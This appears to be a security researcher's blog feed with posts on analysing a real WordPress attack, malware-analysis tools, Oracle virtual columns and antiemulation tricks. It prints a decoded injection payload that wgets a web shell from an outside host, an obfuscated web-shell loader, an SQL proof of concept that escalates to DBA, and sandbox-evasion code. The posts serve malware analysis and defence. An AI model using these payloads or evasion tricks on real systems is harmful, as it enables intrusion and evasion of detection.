Unintended Results » Uncategorized http://joxeankoret.com/blog Or maybe not Sun, 04 Dec 2011 17:55:48 +0000 en hourly 1 http://wordpress.org/?v=3.2.1 Automated or manual attack? http://joxeankoret.com/blog/2011/12/04/automated-or-manual-attack/ http://joxeankoret.com/blog/2011/12/04/automated-or-manual-attack/#comments Sun, 04 Dec 2011 17:55:48 +0000 joxean http://joxeankoret.com/blog/?p=250 Today I received a notification about an automated attack against this blog. Nothing new, however, I was curious about how it exactly works and decided to take a brief look to the attack to answer various questions:

  • What vulnerability is this exploiting? Am I vulnerable?
  • What does the payload?
  • Is this an automated attack or a manually launched one?

The attack in the logs

Since I installed mute screamer plugin for WordPress I receive regularly attack alerts (mainly about spamming). The one I received today was a bit different. In the generated log file the following line appears:

/blog/engine.php?action=log-reset&type=ih_options();eval(base64_decode(cGFzc3RocnUoJ3dnZXQgaHR0cDovL3d3dy5zY2sub2JlY3ZyYm92LnNrL3dwLWNvbnRlbnQvdXBsb2Fkcy9mZ2FsbGVyeS9zaC50eHQ7IG12IHNoLnR4dCBsb2cucGhwJyk7));

So, this is an exploit for a PHP code injection vulnerability in "engine.php". A quick search of the vulnerability revealed this: WordPress is_human() Plugin Remote Command Injection Vulnerability. Fortunately, I don't have this plugin installed so I already answered the first 2 questions. Time to answer the next one: what the payload does?

Analyzing the payload

In the generated log file we clearly see what code is the exploit trying to inject, in base64 format. Decoding it we get the following code:

  1. >>> import base64
  2. >>> base64.b64decode("cGFzc3RocnUoJ3dnZXQgaHR0cDovL3d3dy5zY2sub2JlY3ZyYm92LnNrL3dwLWNvbnRlbnQvdXBsb2Fkcy9mZ2FsbGVyeS9zaC50eHQ7IG12IHNoLnR4dCBsb2cucGhwJyk7")
  3. "passthru('wget http://www.sck.obecvrbov.sk/wp-content/uploads/fgallery/sh.txt; mv sh.txt log.php');"

The function passthru executes an operating system command and returns to the browser the output of the command (anyway, it isn't being used in this particular exploit). So, the attacker is downloading a backdoor and copying to log.php. The file the exploit downloads looks like this:

  1. <?php
  2. $auth_pass = "";
  3. $color = "#df5";
  4. $default_action = 'FilesMan';
  5. $default_use_ajax = true;
  6. $default_charset = 'Windows-1251';
  7. preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'[[BASE64 CODE]]'\x29\x29\x29\x3B",".");

OK, looking to this it's clear that the function preg_replace is executing something but, what and how? My guess was that the "/e" modifier for the regular expression was for executing PHP code for a match and I was right. The code that is executed for every match (and it matches the complete buffer passed to preg_replace as the regex is ".*") is the following:

  1. eval(gzinflate(base64_decode([[BASE64 CODE]])))

OK, the code is base64 encoded and also compressed with Gzip. Let's decode and decompress it:

  1. >>> x = base64.b64decode("7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jT...AYT72vwA=")
  2. >>> import zlib
  3. >>> ungziped_str = zlib.decompressobj().decompress('x\x9c' + x)
  4. >>> print ungziped_str[:100]
  5. if(!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archi...

OK, finally we have the real code that will be executed! A copy of the unobfuscated and formatted source is here. This is a common web shell typically used in automated attacks.

Conclussion

I cannot be 100% sure if it was an automated or a manual attack but, my guess, is that this was simply a blind automated attack launched against many web sites and, among them, this blog.

]]> http://joxeankoret.com/blog/2011/12/04/automated-or-manual-attack/feed/ 0 Zerowine 2.0 preview http://joxeankoret.com/blog/2010/10/22/zerowine-2-0-preview/ http://joxeankoret.com/blog/2010/10/22/zerowine-2-0-preview/#comments Fri, 22 Oct 2010 21:14:46 +0000 joxean http://joxeankoret.com/blog/?p=190 Hi!

I plan to release in a month or so the newest version of ZeroWine focused on automation. This new version consists in the following components:

  • A modified version of Wine 1.10.
  • One XMLRPC Server.
  • One XMLRPC client tool.


WINE Changes

Wine was patched to add more debugging channels and to remove noise from the output of ZeroWine as in the previous version the behavior reports were not as good as people wanted. In this version, however, the following new debugging channels were added to Wine:

humanmalware: Shows a human understandable message about what the malware did.
malware: A more technical message about what was done.
malwarelibs: Libraries loaded by the malware.
malwaredump: Dump network data.
regmalware: Dump every registry operation (very noisy).

The following is an example report's extract generated with the latest version of ZeroWine:

0009:malware:Call to CreateMutex(L"_AVIRA_21099") returned 72
0009:humanmalware:Creating mutex L"_AVIRA_21099"
0009:malware:Call to CreateToolhelp32Snapshot(2)
0009:humanmalware:Enumerating system processes (this may indicate anti-tracing activity)
0009:malware:Call to NtQuerySystemInformation(SystemProcessInformation)
0009:humanmalware:Process enumerates running processes (this may indicate anti-debugging and anti-monitoring activity)
0009:malware:Call to GetFileAttributesW ( L"C:\\windows\\system32" )
0009:malware:Call to SetFileAttributesW ( L"C:\\windows\\system32\\sdra64.exe", 32 )
0009:malware:Call to DeleteFileW ( L"C:\\windows\\system32\\sdra64.exe" ) failed with error code -1073741772
0009:humanmalware:Deleting file L"C:\\windows\\system32\\sdra64.exe" failed with error code -1073741772
0009:malware:Call to CopyFileW(L"Z:\\tmp\\vir\\62bb9091a3c7e692e26b3061cce67595\\malware.exe", L"C:\\windows\\system32\\sdra64.exe")
0009:humanmalware:Copying file L"Z:\\tmp\\vir\\62bb9091a3c7e692e26b3061cce67595\\malware.exe" to L"C:\\windows\\system32\\sdra64.exe"
0009:malware:Call to CreateFileW(L"Z:\\tmp\\vir\\62bb9091a3c7e692e26b3061cce67595\\malware.exe", GENERIC_READ FILE_SHARE_READ FILE_SHARE_WRITE , creation 3 attributes 0x0)

Zerowine XMLRPC Server

The XMLRPC server (zerowined) that will be distributed with ZeroWine 2.0 is a very simple python script that serves as a gateway between the VM and the client application. The sample client application (xmlrpc_client.py) receives the following arguments:

$ ./xmlrpc_client.py
Usage: ./xmlrpc_client.py <url | auto> <filename> <output directory>

The very first argument the client application receives is the URL of the XMLRPC server to connect or the keyword "auto" which means that a server from the list of servers stored in the file ''servers.conf' must be selected randomly (as you may have a lot of ZeroWine VM servers distributed in your organization). The next argument is the "malware file" to be analyzed and the last argument a directory where all the data gathered by ZeroWine 2.0 will be stored. In this version, the data we gather is the following:

  • A memory dump of every running process (there may be more than just one malware running at the same time).
  • A behavior report.
  • A *.tar.gz file with every file either created or modified.

And that's all! The new version will be released (if all goes well) in a month. Cheers!

]]> http://joxeankoret.com/blog/2010/10/22/zerowine-2-0-preview/feed/ 3 Dangers of Oracle Virtual Columns http://joxeankoret.com/blog/2010/05/14/dangers-of-oracle-virtual-columns/ http://joxeankoret.com/blog/2010/05/14/dangers-of-oracle-virtual-columns/#comments Fri, 14 May 2010 22:50:13 +0000 joxean http://joxeankoret.com/blog/?p=144 Virtual Columns is a new feature of Oracle 11g. This feature allows to create table columns based on PL/SQL functions. While it's useful it can be dangerous too.

What happens if someone creates a table column based on a "malicious" PL/SQL function? What happens when someone selects data from a table with a virtual column that executes a GRANT command? If the user executing the query is a normal user, the function will fail, however, if the user is privileged, the code will be executed and the DBA privilege will be granted to the user "JOXEAN", like in the following sample:

SQL> create user joxean identified by joxean;
  1. User created.
  2.  
  3. SQL&gt; GRANT connect, resource TO joxean;
  4. GRANT succeeded.
  5.  
  6. SQL&gt; conn joxean/joxean
  7. Connected.
  8. SQL&gt; CREATE OR REPLACE FUNCTION F1 (p_value IN VARCHAR2)
  9.   RETURN VARCHAR2 AUTHID CURRENT_USER deterministic
  10. AS
  11.   PRAGMA AUTONOMOUS_TRANSACTION;
  12. BEGIN
  13.   EXECUTE IMMEDIATE 'grant dba to joxean';
  14.   RETURN '1';
  15. END F1;
  16. /
  17. FUNCTION created.
  18.  
  19. SQL&gt; CREATE TABLE t2
  20. (
  21.   col1 VARCHAR2(50),
  22.   col2 generated always AS (f1('asdf')) virtual
  23. );
  24. TABLE created.
  25.  
  26. SQL&gt; SELECT * FROM t2;
  27. no rows selected
  28.  
  29. SQL&gt; INSERT INTO t2 (col1) VALUES ( 'a' );
  30. 1 row created.
  31.  
  32. SQL&gt; commit;
  33. Commit complete.
  34.  
  35. SQL&gt; SELECT * FROM t2;
  36. SELECT * FROM t2
  37. *
  38. ERROR at line 1:
  39. ORA-01031: insufficient privileges
  40. ORA-06512: at "JOXEAN.F1", line 6
  41.  
  42. SQL&gt; SELECT * FROM user_role_privs;
  43.  
  44. USERNAME         GRANTED_ROLE        ADM DEF OS_
  45. ------------------------------ ------------------------------ --- --- ---
  46. JOXEAN          CONNECT         NO  YES NO
  47. JOXEAN          RESOURCE         NO  YES NO
  48.  
  49. SQL&gt; conn / AS sysdba
  50. Connected.
  51. SQL&gt; SELECT * FROM joxean.t2;
  52.  
  53. COL1   COL2
  54. ----- -----
  55. a         1
  56.  
  57. SQL&gt; SELECT * FROM dba_role_privs WHERE grantee = 'JOXEAN';
  58.  
  59. GRANTEE          GRANTED_ROLE        ADM DEF
  60. ------------------------------ ------------------------------ --- ---
  61. JOXEAN          RESOURCE         NO  YES
  62. JOXEAN          DBA         NO  YES
  63. JOXEAN          CONNECT         NO  YES

While it isn't a big issue it can be used as a "logical bomb" by an atacker with CREATE TABLE privileges: Simply create a table with an interesting name and wait for DBA to select data from this table ;) Oh! By the way, to create a permanent table you only need to have the privilege to create a temporary table... But this is another history ;)

]]> http://joxeankoret.com/blog/2010/05/14/dangers-of-oracle-virtual-columns/feed/ 1 MyNav, a python plugin for IDA Pro http://joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/ http://joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/#comments Sun, 02 May 2010 15:28:53 +0000 joxean http://joxeankoret.com/blog/?p=146 MyNav is an Open Source IDAPython plugin for the commercial disassembler IDA Pro to be released on July 2010. The plugin adds a lot of new features only available in other products like in the well known Zynamics BinNavi or HB Gary's Inspector. In this blog post I will show you some of the features available in the current version with some examples.

Function's browser

The navigator is good to get an idea about what a function does as we can see and browse in a user-friendly GUI all the functions executed from one specific point. For example, open the typical windows binary calc.exe in IDA Pro, wait until the initial analysis ends, run the script mynav.py in IDA and jump to the function "?CalcWndProc@@YGJPAUHWND__@@IIJ@Z" (at address 0x01006118 in Windows XP SP 3). Now, select Edit->Plugins->MyNav - Browse Function. A new dialog box will appear asking for the maximum recursion level, enter the number 1 and click OK. The following (browseable) graph will appear:

Depending on the selected maximum recursion level, some child nodes will be hidden like, for example, the childs nodes of the function "?SetRadix@@YGXK@Z". To see the hidden nodes simply double clik in the node with text "(8 more nodes)". The following graph will appear:

In this graph we can see what functions are executed from the "SetRadix" one. We can continue browsing the graph entering and leaving in some other functions but, what if I want to see what API calls are executed from an specific function? To open a browseable graph showing API calls select in the IDA's disassembly view the desired function (for example, the function at address 0x010022F9 in Windows XP SP3 -?CIO_vConvertToString@@YGXPAPAGPAUCALCINPUTOBJ@@H@Z-) and select Edit->Plugins->MyNav - Browse functions (show APIs), leave the default maximum recursion level and click OK. The browseable graph bellow will appear:

Taking a look to this graph we can "abstractly" see what the function ConvertToString does.

Code path searching

One of the most typical tasks when looking for vulnerabilities is to find a code path between data entry points (functions where you can insert data) and some target functions (vulnerable ones). With MyNav we can search automatically for code paths between 2 functions with just a few clicks. For example, continuing with the Windows calculator, we will search code paths from "WinMain" and "EverythingResettingNumberSetup" so, select Edit->Plugins->MyNav - Show code paths between 2 functions. A dialog box showing all the binary's functions will be shown:

In this dialog box select the starting point (WinMain) and click OK, the same dialog will appear again asking for the target function, select "EverythingResettingNumberSetup" and click OK. The following graph will appear:

Differential debugging usage example: notepad

In this example we will discover and analyze the code responsible for opening a file in notepad. Run IDA Pro and open the notepad.exe binary. Wait until the initial analysis finishes and, after it, run the script mynav.py in IDA. A lot of new menus will be added under Edit->Plugins as shown bellow:

Now, select a debugger from the debugger dropdown list and select from Edit->Plugins menu the option called "MyNav - New session". A dialog box asking for a session's name will appear. Enter a meaningfull name like "GuiNoise" or something like this as we will be recording the code responsible of GUI painting, uninteresting for our goal (discover the code executed when we open a file inside notepad).

Press OK and a message box saying that there is no breakpoint set will appear. Answer "Yes" and MyNav will set a breakpoint in every function and start the debuggger. While the application is running move the window, minimize, maximize, restore it, popup the contextual menus and close the application when done. When debugging stops, a graph showing all the executed functions will appear:

This callgraph shows all the functions executed and the relationships between them. All the breakpoints sets in a function that was executed in this session were removed after the first hit so we will not stop again in the GUI related code. Now, record another session, select Edit->Plugin->MyNav - New session and enter the name "FileOpenDialog". When the debugger starts select in notepad "File->Open" and cancel the dialog box. Select again in notepad "File->Open" but this time select a file to open. When done, close the application and the following callgraph will appear:

This time only 7 functions appeared, those responsible of showing the file open dialog box and opening the file. The notepad.exe binary contains 88 functions and we discovered in a few seconds the interesting functions. Now, it's time to discover the exact code executed when I cancel the dialog box and when I select a file to open so, select Edit->Plugins->MyNav - Trace in session and a dialog box will appear showing all the recorded session. Select the session named "FileOpen" in the dialog shown bellow:


After it, the typical dialog box asking for a sessions name will appear. Enter the name "TraceFileOpenCancel", click OK and the debugger starts. When notepad is opened, select File->Open, cancel the dialog box and close the application.

The colored basic blocks are those executed when we cancelled the dialog box. Now, we will trace again the same session but this time opening a file so, select Edit->Plugins->MyNav - Trace in session, select the session named "FileOpen" and enter the name "TraceFileOpen". When debugger starts the application select File->Open and open a file. When done, close notepad and the following code will be shown:

The new color shows the basic blocks executed this time. If we want, we can see the differences between the 2 sessions. Select Edit->Plugins->MyNav - Show step trace session and a dialog box showing a list of all the recorded trace sessions will appear. Select the trace session called "TraceFileOpenCancel" and click OK. Notice the change in the graph:

In about 5 minutes we discovered the functions and the instructions executed when we cancel the file open dialog box and when we open a file. It was easy, wasn't it? ;)

Final Notes

MyNav will be released in July 2010 and the code will be uploaded to the project page at Google Code.

]]> http://joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/feed/ 41 Antiemulation Techniques (Malware Tricks II) http://joxeankoret.com/blog/2010/02/23/antiemulation-techniques-malware-tricks-ii/ http://joxeankoret.com/blog/2010/02/23/antiemulation-techniques-malware-tricks-ii/#comments Tue, 23 Feb 2010 18:55:00 +0000 joxean http://joxeankoret.com/blog/?p=74 From time to time, when reversing malware, I find new antiemulation techniques as they are widely used by malware to evade detection by AVs that uses emulation, however, it seems that no one wrote about them maybe because there are a lot or, maybe, because they aren't very interesting. Anyway, a friend and I decided to look for antiemulation techniques and we found a bunch of them in just about 2 days. Surprise. Well, the following is a list of antiemulation techniques "found" by us.

API Emulation

The most typically used antiemulation technique is the use of undocumented APIs or the use of non common ones such as, in example, SetErrorMode:

DWORD dwCode = 1024;
  1.  
  2.   SetErrorMode(1024);
  3.   if (SetErrorMode(0) != 1024)
  4.     printf("Hi emulator!\n");

This technique catches, at least, the IDAPro+Bochs debugger and Norman Sandbox.

Another typical trick is the use of non existent APIs. Many emulators will try to "emulate" the function by simply returning 0 instead of failing with a null pointer exception. Another one, try to load a vital library for the operating system which is not emulated and call an exported function: just trying to load the library will fail in almost any emulators:

int test6(void)
  1. {
  2. HANDLE hProc;
  3.  
  4.     hProc = LoadLibrary("ntoskrnl.exe");
  5.  
  6.     if (hProc == NULL)
  7.         return EMULATOR_DETECTED;
  8.     else
  9.         return EMULATOR_NOT_DETECTED;
  10. }

Just in the case an emulator allows to load any library returning a pseudo handle, a bit more complex examples:

struct data1
  1. {
  2.   int a1;
  3.   int a2;
  4. };
  5.  
  6. struct data2
  7. {
  8.   int a1;
  9.   int a2;
  10.   int a3;
  11.   int a4;
  12.   int a5;
  13.   int a6;
  14.   struct data1 *a7;
  15. };
  16.  
  17. typedef int (WINAPI *FCcSetReadAheadGranularity)(struct data2 *a1, int num);
  18. typedef int (WINAPI *FIofCallDriver)();
  19.  
  20. int test8(void)
  21. {
  22. HINSTANCE hProc;
  23. FIofCallDriver pIofCallDriver;
  24.  
  25.  hProc = LoadLibrary("ntkrnlpa.exe");
  26.  
  27.  if (hProc == NULL)
  28.   return 0;
  29.  
  30.  pIofCallDriver = (FIofCallDriver) GetProcAddress(hProc, "IofCallDriver");
  31.  pIofCallDriver -= 2; // At this point there is a 0xCC character, so an INT3 should be raised
  32.  
  33.  try
  34.  {
  35.   pIofCallDriver();
  36.   return EMULATOR_DETECTED;
  37.  }
  38.  catch(...)
  39.  {
  40.   return EMULATOR_NOT_DETECTED;
  41.  }
  42.  
  43. }
  44.  
  45. int test9(void)
  46. {
  47. HINSTANCE hProc;
  48. FCcSetReadAheadGranularity CcSetReadAheadGranularity;
  49. struct data1 s1;
  50. struct data2 s2;
  51. int ret;
  52.  
  53.  hProc = LoadLibrary("ntkrnlpa.exe");
  54.  
  55.  if (hProc == NULL)
  56.   return 0;
  57.  
  58.  CcSetReadAheadGranularity = (FCcSetReadAheadGranularity)GetProcAddress(hProc, "CcSetReadAheadGranularity");
  59.  
  60.  if (CcSetReadAheadGranularity == NULL)
  61.   return 0;
  62.  
  63.  s1.a2 = 0;
  64.  s2.a7 = &amp;s1;
  65.  
  66.         // After this call, ret must be 0x666, the given 2nd argument minus 1
  67.  ret = CcSetReadAheadGranularity(&amp;s2, 0x667);
  68.  
  69.  if (ret != 0x666)
  70.   return EMULATOR_DETECTED;
  71.  else
  72.   return EMULATOR_NOT_DETECTED;
  73.  
  74. }

This technique(s) works in the 3 emulators I tested (Norman Sandbox, IDA+Bochs and Wine) and I'm pretty sure that them will work in any emulator.

Old Features

In the old -good?- days of MSDOS and Windows 9x the AUX, CON, and other special devices were used to read data from the keyboard, change terminal colors, etc... This behavior, while not currently supported (if I'm not wrong), works in current Microsoft Windows operating systems but not in emulators. The following is an easy example:

FILE *f;
  1.  
  2.     f = fopen("c:\\con", "r");
  3.  
  4.     if (f == NULL)
  5.         return EMULATOR_DETECTED;
  6.     else
  7.         return EMULATOR_NOT_DETECTED;

The unique "emulator" that simulates correctly this behavior is Wine. This technique was found by 2 of my co-workers, nick-namely, "PE_Luchin" and "Shaddy".

Assembly

Emulating corrrectly a complete CPU is a very hard task and is also the most error prone area to look for incongruencies. Norman Sandbox works remarkably bad in this sense: The emulator fails (or it failed, I didn't tested it since last year) with instructions like ICEBP or UD2 and allows changing, in example, the debug registers via privileged instructions. Easier to see in the following 4 examples:

int test1(void)
  1. {
  2.     try
  3.     {
  4.   __asm
  5.   {
  6.    mov eax, 1
  7.    mov dr0, eax
  8.   }
  9.     }
  10.     catch(...)
  11.     {
  12.         return EMULATOR_NOT_DETECTED;
  13.     }
  14.  
  15.     return EMULATOR_DETECTED;
  16. }
  17.  
  18. int test2(void)
  19. {
  20.     try
  21.     {
  22.   __asm
  23.   {
  24.    mov eax, 1
  25.    mov cr0, eax
  26.   }
  27.     }
  28.     catch(...)
  29.     {
  30.         return EMULATOR_NOT_DETECTED;
  31.     }
  32.  
  33.     return EMULATOR_DETECTED;
  34. }
  35.  
  36. int test3(void)
  37. {
  38.     try
  39.     {
  40.         __asm int 4
  41.     }
  42.     catch(...)
  43.     {
  44.         return EMULATOR_NOT_DETECTED;
  45.     }
  46.  
  47.     return EMULATOR_DETECTED;
  48. }
  49.  
  50. /** Norman Sandbox stoped execution at this point :( */
  51. int test4(void)
  52. {
  53.     try
  54.     {
  55.         __asm ud2
  56.     }
  57.     catch(...)
  58.     {
  59.         return EMULATOR_NOT_DETECTED;
  60.     }
  61.  
  62.     return EMULATOR_DETECTED;
  63. }
  64.  
  65. /** Norman Sandbox stoped execution at this point :( */
  66. int test5(void)
  67. {
  68.     try
  69.     {
  70.         // icebp
  71.  __asm  _emit 0xf1
  72.     }
  73.     catch(...)
  74.     {
  75.         return EMULATOR_NOT_DETECTED;
  76.     }
  77.  
  78.     return EMULATOR_DETECTED;
  79. }

These tests were launched against Wine, IDA+Bochs and Norman. While they don't work in Bochs they makes failing both Norman Sandbox and Wine; both thinks the process has crashed and stops execution.

Conclussion

There are a lot of antiemulation techniques and these are just simple examples; writting much more elaborated ones is a matter of time and it's simply impossible to circunvent all the antiemulation techniques. The old cat & mouse game :)

]]> http://joxeankoret.com/blog/2010/02/23/antiemulation-techniques-malware-tricks-ii/feed/ 3 Analyzing PDF exploits with Pyew http://joxeankoret.com/blog/2010/02/21/analyzing-pdf-exploits-with-pyew/ http://joxeankoret.com/blog/2010/02/21/analyzing-pdf-exploits-with-pyew/#comments Sun, 21 Feb 2010 14:46:23 +0000 joxean http://joxeankoret.com/blog/?p=95 Something I really hate to do when analyzing PDF malware exploits is to manually extract the streams and manually decode them to see the, typically, hidden JavaScript code, so I decided to extend the PDF plugin for Pyew to automatically see them. Now, with the new version of the plugin (download it from the Mercurial repository) we can see what filters are used in the exploit and, the most important thing, we can see the decoded streams, independently of how many filters are being used.

Example

For example, I will take one obfuscated PDF exploit (SHA256 6a8204ee7b703f96f811f32f903ac9df4045b05910d633fc34fed89e2e0a7576). I will open it in Pyew to see what is inside so, simply, run the command "pyew pdf.file":

$ pyew sample.pdf
PDF File

PDFiD 0.0.9_PL 6a8204ee7b703f96f811f32f903ac9df4045b05910d633fc34fed89e2e0a7576
PDF Header: %PDF-1.1
obj 4
endobj 4
stream 1
endstream 1
xref 1
trailer 1
startxref 1
/Page 1
/Encrypt 0
/ObjStm 0
/JS 1
/JavaScript 1
/AA 0
/OpenAction 1
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Colors > 2^24 0
%%EOF 1
After last %%EOF 0
Total entropy: 4.293999 ( 5547 bytes)
Entropy inside streams: 3.669587 ( 4773 bytes)
Entropy outside streams: 5.132696 ( 774 bytes)

(...)

[0x00000000]> p
%PDF-1.1
%&#1074;&#1075;&#1055;&#1059;
1 0 obj
<<
/Type /Catalog
/OpenAction <<
/JS 4 0 R
/S /JavaScript
>>
/Pages 2 0 R
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids [ 3 0 R ]
/Count 1
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Name /F1
/Subtype /Type1
/BaseFont /Helvetica
>>
>>
>>
/MediaBox [ 0 0 795 842 ]
>>
endobj
4 0 obj
<<
/Length 4769
/Filter [/ASCIIHexDecode /ASCII85Decode /#4c

What we see in Pyew? The output of PDFId (a great tool by Didier Stevens) as well as the hexadecimal output of the first block (512 bytes). Taking a brief look to the 1st block of data we see one "OpenAction" to execute JavaScript. Surprise. The code "/JS 4 0 R" specifies that the JavaScript code to be executed is the object number 4. Seeking to the offset where the object #4 is and printing the buffer (in ASCII) we will find the following:

[0x000001b7]> s 0x1b7
[0x000001b7]> p
4 0 obj
<<
        /Length 4769
        /Filter [/ASCIIHexDecode /ASCII85Decode /#4c#5a#57De#63#6fde /R#75nLen#67t#68#44ecod#65 /FlateDecode ]
>>stream
4A2E3539605651222D714E634326304C5A47725A236A63494B26682C323A4E532...

The object is multiple times encoded and, which is more, the strings to specify what filters must be used in order to decode the stream are encoded too. It's perfectly legal according to the PDF specifications, although pretty suspicious. Pyew does a good job decoding both the encoded strings and the multiple times encoded stream. To see the streams just type "pdfvi" to see the encoded streams in the console:

eval(unescape("%76%61%72%20%56%68%4C%66%4E%20%3D..."))

Wow! it's a small chunk of JavaScript data ;) Pyew automagically applied all the filters needed (ASCIIHexDecode, ASCII85Decode, LZWDecode, RunLengthDecode and FlateDecode) and printed out the obfuscated code. We can see it, too, in a graphical user interface. Instead of typing "pdfvi" execute the command "pdfview". You will see the following screen:

Obfuscated Stream View

Obfuscated Stream View

More Examples

OK, so we can see now the encoded stream but, what if there are a lot of encoded streams and we must check them all or if we want to see just one of them? For this purpose, and also to show the Pyew's APIs, I created an example usage of the PDF API. The example reads all the streams and shows a list of all the encoded streams as you may see in the following snapshot:

Usage example of the PDF API

Usage example of the PDF API

Using this simple screen we can see all the streams or just one specific (encoded) stream. This is the code of this example usage of the Pyew's API for the PDF format:

#!/usr/bin/env python
  1.  
  2. import os
  3. import sys
  4.  
  5. from pyew_core import CPyew
  6. from easygui import choicebox, fileopenbox, msgbox
  7.  
  8. def main(filename=None):
  9.     if filename is None:
  10.         filename = fileopenbox(msg="Select PDF file", default="*.pdf", filetypes=["*.pdf"])
  11.         if filename is None:
  12.             return
  13.  
  14.     pyew = CPyew(batch=True)
  15.     pyew.loadFile(filename)
  16.  
  17.     streams = pyew.plugins["pdfilter"](pyew, doprint=True)
  18.     if len(streams) == 0:
  19.         msgbox(title="PDF Streams",msg="No encoded streams found")
  20.  
  21.     l = []
  22.     l.append("About PDF Streams Viewer")
  23.     l.append("See all streams (both encoded and unencoded)")
  24.     for x in streams:
  25.         l.append("Stream %d encoded with %s" % (x, streams[x]))
  26.     l.append("Quit")
  27.  
  28.     while 1:
  29.         c = choicebox(msg="Select one stream to view it decoded", title="Stream Viewer", choices=l)
  30.         if c is None:
  31.             break
  32.         elif c.lower() == "quit":
  33.             break
  34.         elif c.lower().startswith("about"):
  35.             msgbox(title="About PDF Streams Viewer",
  36.                    msg="Example usage of the Pyew APIs to see PDF streams. Written by Joxean Koret")
  37.         elif c.lower().startswith("see all"):
  38.             pyew.plugins["pdfview"](pyew, doprint=False, stream_id=-1)
  39.         else:
  40.             stream_id = int(c.split(" ")[1])
  41.             pyew.plugins["pdfview"](pyew, stream_id=stream_id)
  42.  
  43. if __name__ == "__main__":
  44.     if len(sys.argv) == 1:
  45.         main()
  46.     else:
  47.         main(sys.argv[1])

And, that's all for the moment. I hope you like the new Pyew's features ;)

]]> http://joxeankoret.com/blog/2010/02/21/analyzing-pdf-exploits-with-pyew/feed/ 3 Pyew! A Python tool to analyze malware http://joxeankoret.com/blog/2010/02/08/pyew-a-python-tool-to-analyze-malware/ http://joxeankoret.com/blog/2010/02/08/pyew-a-python-tool-to-analyze-malware/#comments Mon, 08 Feb 2010 18:37:11 +0000 joxean http://joxeankoret.com/blog/?p=80 Working in a disassembler with code analysis to speed up (graph) analysis of malware dumps (malware dumped from memory while running) I decided to write a tool using this core oriented to malware analysis and the result is Pyew!

Pyew is a tool like radare or biew/hiew. It's an hexadecimal viewer, disassembler for IA32 and AMD64 with support for PE & ELF formats as well as other non executable formats, like OLE2 or PDF. In the project's page you may find usage examples (like the superficial analysis of some Mebroot dowloaders) as well as the features of the version available for download as a package (however, I recommend you to download the bleeding edge version from the Mercurial repository available here).

Anyway, even when Pyew have a command line interface (and a graphical user interface is planned) it was written for batch analysis of malware. Let's imagine the following situation: You need to analyze a bunch of malware samples, i.e. 1000 new samples. What would you do? Analyze all of them manually one per one? It's better to write some sort of batch script to analyze the samples and get a simple report about the malwares. You may find in the wiki of Pyew a batch script example to check for some specific marks at the file header, get the API calls made at entry point or to get a list of uncommon mnemonics found in the entry point.

Just to show another example of Pyew in batch mode I will explain how to write a simple script to get mnemonics of instructions used commonly as antidebugs. Let's start writting the script. First import the libraries we need:

  1. from pyew_core import CPyew

We need to import the class CPyew from pyew_core (the kernel of Pyew). Next, write a code to handle the load of one file and, after the load, print the antidebugs found:

import sys
  1. from pyew_core import CPyew
  2.  
  3. filename = sys.argv[1]
  4. pyew = CPyew(batch=True) # Specify that we're in batch mode
  5. pyew.codeanalysis = True # Just in case, by default code analysis is always performed
  6. pyew.loadFile(filename) # Load the file and read all the structures, perform code analysis, etc...
  7.  
  8. print pyew.antidebug

That's all! This simple script will take as input a file and will analyze it for mnemonics used as antidebug (like INT 3 or RDTSC). Now, it's time to write a better script that takes a directory and recursively traverses every subdirectory to analyze all files. The final result is here

]]> http://joxeankoret.com/blog/2010/02/08/pyew-a-python-tool-to-analyze-malware/feed/ 0 Malware Tricks I http://joxeankoret.com/blog/2009/12/02/malware-tricks-i/ http://joxeankoret.com/blog/2009/12/02/malware-tricks-i/#comments Wed, 02 Dec 2009 21:57:42 +0000 joxean http://joxeankoret.com/blog/?p=76 Today, while analyzing a family of malwares (the familiy called by some vendors as "Krap") I noticed a good and new, at least for me, antiemulation technique. What do you think this sample code does?

some_func:
  1.   ; Do stuff...
  2.  
  3. start:
  4.    push offset some_func
  5.    jmp edx


What is this? We're pushing the address of the function some_func in the stack and, after this, jumping unconditionally to the address contained at EDX. The question here is: What value has the EDX register before executing your first line of assembly code? You have the address of ntdll!KiFastSystemCallRet:

So, basically, we're jumping to a return only function (see a detailed description of KiFastSystemCallRet) efectively returning into the "some_func" function. The emulators I tested, as in example, the Bochs Debugger module that comes with IDA Pro, initialize all the registers to 0: a cool trick! And the first time I see this.

The tricks I typically find in malware are undocumented (or non typical) API calls mixed with junk code, as the following example extracted from a Mebroot downloader:

  1. 000013a7 PUSH 0x74327ebc
  2. 000013ac CALL KERNEL32.dll!WriteFile
  3. 000013b2 TEST EAX, EAX
  4. 000013b4 JZ 0x000013bb      ; 1
  5. 000013b6 JMP 0x0000108e     ; 2
  6. 000013bb PUSH 0x0
  7. 000013bd CALL KERNEL32.dll!DisconnectNamedPipe

Junk code using APIs relatively commons:

  1. 00001c1f PUSH 0x0
  2. 00001c21 PUSH 0x0
  3. 00001c23 CALL SHLWAPI.dll!SHDeleteKeyA
  4. 00001c29 PUSH 0x100
  5. 00001c2e CALL msvcrt.dll!malloc
  6. 00001c34 ADD ESP, 0x4
  7. 00001c37 PUSH EAX
  8. 00001c38 CALL msvcrt.dll!free
  9. 00001c3e ADD ESP, 0x4
  10. 00001c41 PUSH 0x0
  11. 00001c43 CALL WINMM.dll!timeKillEvent
  12. 00001c49 PUSH 0x10005129
  13. 00001c4e LEA EAX, [EBP-0x20]
  14. 00001c51 PUSH EAX
  15. 00001c52 CALL USER32.dll!wsprintfA
  16. 00001c58 ADD ESP, 0x8
  17. 00001c5b PUSH 0x0
  18. 00001c5d CALL ADVAPI32.dll!RegCloseKey
  19. 00001c63 CALL ole32.dll!OleUninitialize

Very simple API calls not commonly emulated (extracted from the dropper of the rootkit TDSS):

  1. 00000813 XOR ESI, ESI
  2. 00000815 PUSH ESI
